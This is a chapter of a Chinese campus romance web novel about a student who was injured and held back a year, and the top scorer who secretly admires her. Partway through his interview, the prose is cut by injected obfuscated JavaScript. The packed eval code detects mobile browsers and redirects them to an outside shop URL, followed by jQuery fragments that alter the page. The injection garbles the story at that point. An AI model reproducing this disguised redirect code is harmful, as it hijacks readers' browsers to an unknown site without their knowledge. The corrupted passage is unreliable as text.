CauseImissyoumorethanwordscansay我思念你的程度远非言语所能表达.
——《WinterInMyHeart》
*
六月底，虽说刚入夏不久，锦城却已闷热难耐。这里地势低洼，群山环抱，热浪被层层山峦困在这里，整座城市就像一个密不透风的火盆。
高考出分数后，这天下午，锦城一中的教学楼外就光速贴满了“战报”。
教室内，空调制冷极差，虽然学生人手一个小风扇，但还是热得慌。不少学生把注意力放到了窗外，温知妤已经听后面女生念叨一节课了。
“还有两分钟，撑住了——！”
“我要中暑了呜呜呜。”
下课铃刚响，学生们便一股脑到了走廊外，一方面为了透透气，另一方面是闲的没事去看新光荣榜上的面孔。
“啊啊啊温温，你看这里有个帅哥！”余葵兴奋地拽了拽温知妤的袖子，一脸花痴。
“怎么可能？”
也不怪她不相信。
学校向来对摄影这件事不拘小节，所以照相的环节，从来都是随便拉个老师，用手机精准背光地拍出死亡角度。
温知妤之前月考有幸被拍过一次，从此留下了深刻的阴影。
更何况是高考的战报，学校生怕别人看不见，照片尺寸印得十分之大，完全算是脸部特写。
温知妤在心里默默对学霸们同情了一番，却拗不住余葵的软磨硬泡，被拉着到了走廊的右边。
“就是这个，居然抗住了一中的镜头！你觉得怎么样？”余葵把手往榜上指了指。
其实在她指之前，温知妤就从众多面孔中找出了一位少年。他肤色白皙，脸型精致又流畅，一双褐色的眼眸冷冷清清，甚至能看见眼下的小痣，和四周的典型理科学霸明显不在一个图层。
照片下方写着：盛北烁，理科708分，全市第一，省排9名。
“确实长得很好看。”温知妤少有的肯定。
“温温，你以前不是跟他一届的吗？一层楼都没见过？”
“没有吧。”她说，眸色有些黯淡。
夏天的热浪一层层穿过走廊，而温知妤突然想起去年那次元旦汇演，后背冒出了冷汗。
她那时正在屏住呼吸，曲目进入最后也是最难的部分，全身的注意力都集中在了指尖。
“咔、嘣！！”
头顶斜上方，一声尖锐刺耳的金属断裂声，毫无预兆地炸开。
紧接着是令人头皮发麻的，玻璃爆响的声音！
“灯！吊灯怎么砸下来了！”
“啊——快跑！”
“上面还有同学！”
台下瞬间迸发出尖叫声。
温知妤张皇抬头，吊灯下坠的速度快得惊人，水晶折射着扭曲的光，像一场缓慢又迅疾的噩梦。
时间仿佛被飞速拉长，又凝固了。
少女浑身一软，窒息的剧痛从指尖蔓延到了全身。再醒来时，母亲薛路已经双眼通红地在病床边，身边还有其他人，不过她没什么印象了。
她的手被纱布厚厚包裹，剧痛，心跳声重重击着耳膜。
在医院修养了半年多，父母怕耽搁学习进度，便给她办了留级手续。
尽管她自己不愿意。
余葵觉察到她神色不对，抱歉地岔开话题。“可能人家成天三点一线好好学学习，出门走下水道吧哈哈哈！”
上课铃响了，走廊里闹哄哄的人声平息下去，余葵在身后推了推她，“走吧，怎么还看入迷了？”
温知妤回过神来，虽说这个人不认识，却总觉得在哪见过。她蹙了蹙眉，临走之前，又回头多看了一眼。
*
战报贴出来当天下午，盛北烁就受邀回学校录采访视频。
这是一中沿袭多年的惯例，每年高考放榜，都会请上红榜的学生出镜。既是给下一届备考的学弟学妹们立榜样，也能提升校方知名度，更何况今年拿下的是市状元，校方更是格外重视。
盛北烁就站在教学楼走廊里，少年生得极为惹眼。皮肤是干净清透的冷白，脖颈线条利落修长，简单一件纯白色衬衫，黑色工装裤，身材高挑匀称，发尾随意地翘起一点。
后面跟着一个摄影老师，和两个负责采访的女同学。女同学朝他瞄了一眼又一眼，悄悄凑着咬耳朵。
钟扬一个飞跃，在一把勾住他的肩，低声说：
“烁哥，我瞅那俩女生一直在偷瞄我，肯定是我今天帅得太显眼了。等采访一播，你说我会不会立马收获一大堆桃花啊？”
钟扬是盛北烁的小学同学，俩人也是有缘，高中在一个学校，住的也近，就经常约球。
他比盛北烁矮了半个头，长相端正老实，时常犯病说话文绉绉的。为了这次采访，前两天还专门去剪了个盛北烁同款微分碎盖。
盛北烁瞥了他一眼，懒洋洋道：“自作多情，哪个女生这么不长眼？”
钟扬当即笑着肘击：“你他妈不能说句人话啊？”
话音落下，身后原本竖着耳朵偷听的两个女生，瞬间没忍住，‘噗嗤’一声笑了。
一行人往空教室走，准备找场地录制采访。此刻的高三教学楼，格外空旷寂静。
高考结束，毕业学生都已离校，每一间教室的板凳全都倒扣在桌面上，桌椅整齐，却没了往日的喧闹。
钟扬不笑了，故意伤春悲秋地叹了口气：“真是人走楼空，悲哉！”
盛北烁略抬眼望了一下高三(A)班的牌，双手插兜，漫不经心地走了进去。
钟扬又一次说：“烁哥你还挺有情怀的，录视频还专门选了你们班，唉，怀念啊。”
“怀念你就重读一回高三呗。”
盛北烁忍不了回怼一句，目光扫到后排靠窗的位置，注视许久。
“不不不，可别！”钟扬立马说。“学习太苦b了，千刀万剐我都不回去重遭一遍罪！我是怀念当时一起并肩作战的同学好吧！”
一旁负责采访的女生，看了眼手腕上的表，这会儿临近其他年级下课，再耽搁怕会打扰拍摄，便说：“盛学长，时间差不多了，我们现在开始今天的访谈吧。”
“嗯。”
摄影的刘老师麻利地支起三脚架，来回调了几遍灯光，挑了个光线好一点的角度，示意准备就绪。
钟扬百无聊赖地在旁边候着，手往外套口袋里一摸，不知从哪弄来一小把瓜子，嗑得嘎嘣脆，一副看热闹的欠揍模样。
采访的女生对着手稿清了清嗓子，念起学校官媒那套固定开场白：
“亲爱的观众朋友们，大家好，欢迎来到本期高考特别访谈。一年一度的高考落下帷幕……今天，我们邀请到了本市理科状元盛北烁同学，和大家分享他的学习心得！”
盛北烁抬了抬眼，收敛一身散漫，语气清淡开口：“主持人好，各位观众们，大家好。”
“大家都特好奇，你是怎么在高手如云的高三里，保持这么优异的成绩？有没有特别的学习方法和大家分享？”
钟扬一边嗑瓜子一边想笑，什么狗屁学习方法，这哥完全是靠脑子啊。
少年靠着桌沿，直白又张扬地开口。
钟扬只听见一句“该吃吃该睡睡，老师的话听听就好，不用全照做”。他动作一顿，差点把壳儿掉地上。
这哥仗着毕业了，半点客套场面话都没有，伺机报复教导主任老张呢？
采访的女生笑了，继续按照流程来，提到了如何调整心态。
盛北烁微微垂眸，语气比刚才柔和了几分：
“我爸妈对我一直是放养，没给过什么压力。真要说怎么撑下来，大概是心里有个精神支柱吧。
上学期有位很优秀的同学，我一直很欣赏她。虽然她后来因为受伤留级了，但那段时间，她给了我很大的动力。”
虽然她现在不记得我了。
“啪嗒——
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492276|202286||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”钟扬手一抖，瓜子壳终于掉在了地上。他整个人都僵住，一脸“你玩真的”的表情。
不是吧哥，这种话能直接在学校官媒采访里说吗？这么直白的吗？！
负责采访和摄影的两个女生飞快地对视一眼，眼里立马亮起八卦的光，又不敢表现得太明显，拼命憋着。
盛学长说的那个……
该不会是传说中成绩好但意外受伤留级，高高在上脾气又臭的那个大小姐吧？？
*
传闻中脾气臭的温知妤这会儿正恹恹地靠在窗边，有一搭没一搭看着表。
临近期末考试，课业压力很大，但因为气温的炎热，加上是周五，晚上六点钟就要放假，很容易让人心生浮躁。
这节课带班的刘老师没来，据说上节课前就被任命给市状元摄影去了。于是她们班就上起了自习。
大概过了半节课，窗外传来了走动声。温知妤抬眼，看见刘老师匆匆抱着个支架往教导处走，身后跟着名男生，他旁边有个白T黑裤的少年，个子挺高的。
她没太看清，但感觉侧脸很好看。
刚才在榜上看到的不会就是他吧?
温知妤转着笔，后桌突然抛来一张小纸条：“温温，放学先别走，陪我去逛逛书店呗。”
一中在锦城算是百年名校，开了三个分校区，她们成绩不错，加上家在市区，就选择了校本部。
过了校门口那条公路，往前走就是一条商业街区，骨汤冒菜店，渝城火锅，还有各种炸串，每到放学，这里成为了一中学子聚集地。
渝城火锅的旁边有一家书店，平时人不多，月考前才比较火爆，全是抱佛脚的学生。温知妤很少去，总觉得有些好笑，书香味混着火锅味……想想都别扭。
“今天怎么良心发现了，不会是是为了去商业街吃东西吧？”下课后，温知妤问。
“哪有，我说的不是那家！”余葵说，“是新开的一家书摊，就在你们家属院旁边。”
“那人很多吧？”温知妤蹙眉，“我不想去。”
她向来不喜欢凑热闹，更何况是夏天，气温那么炎热，在狭小的书摊人挤人，那可太难受了。
“温大美女，求求你了！”余葵耍无赖，然后又有理有据地说：“高考成绩出来，肯定有很多二手学霸笔记，淘到一本，还能提高学习效率呢。”
“走嘛~”见她犹豫，余葵又接着劝说：“万一有什么独家秘方，我们不是可以突飞猛进？”
温知妤有些好笑：“又不是武功秘籍。”
不过反正离家也近，见余葵这么想去，就大发慈悲给她做个伴吧。
这是一个很有文艺气息的书摊，不大，书籍的陈列干净。老板是个年轻漂亮的女性，烫着时髦的大波浪。她热情招呼着门口的同学，空调风凉嗖嗖的，人也没有想象中那么多，再往里走，就清净了。
余葵挨个摸过每一排的书，格外兴奋，很快就选出了几本，“来都来了，你不买点吗？”
温知妤说：“没什么想买的。”
“吱呀。”一声门响。
她们应声往左后方看去，现在才注意到，里面还有一扇小门。
少年个子高挑，穿着简单T恤。出门时，头略往侧边低了一点，露出好看的下颌线，暖黄的光影将他发梢染成了金棕色。
温知妤不偏不倚与他对上视线。
那人五官线条十分流畅，生了一双好看的桃花眼，瞳色是淡淡的褐，眼尾微微上挑，下面还缀着一颗小痣。
她大脑一片空白，不恰当地形容，这种感觉…就像是被人用脸攻击了一般。
“需要笔记是吗？”少年声音懒洋洋的，像刚醒不久。
余葵手中两本书全掉了。
门外的巷子里蝉鸣骤然放大，一排老槐树被风吹得簌簌响，她甚至，还能听见书店低低的风扇声。
温知妤的世界短暂安静了几秒，她听见自己的声音。
“呃……对。”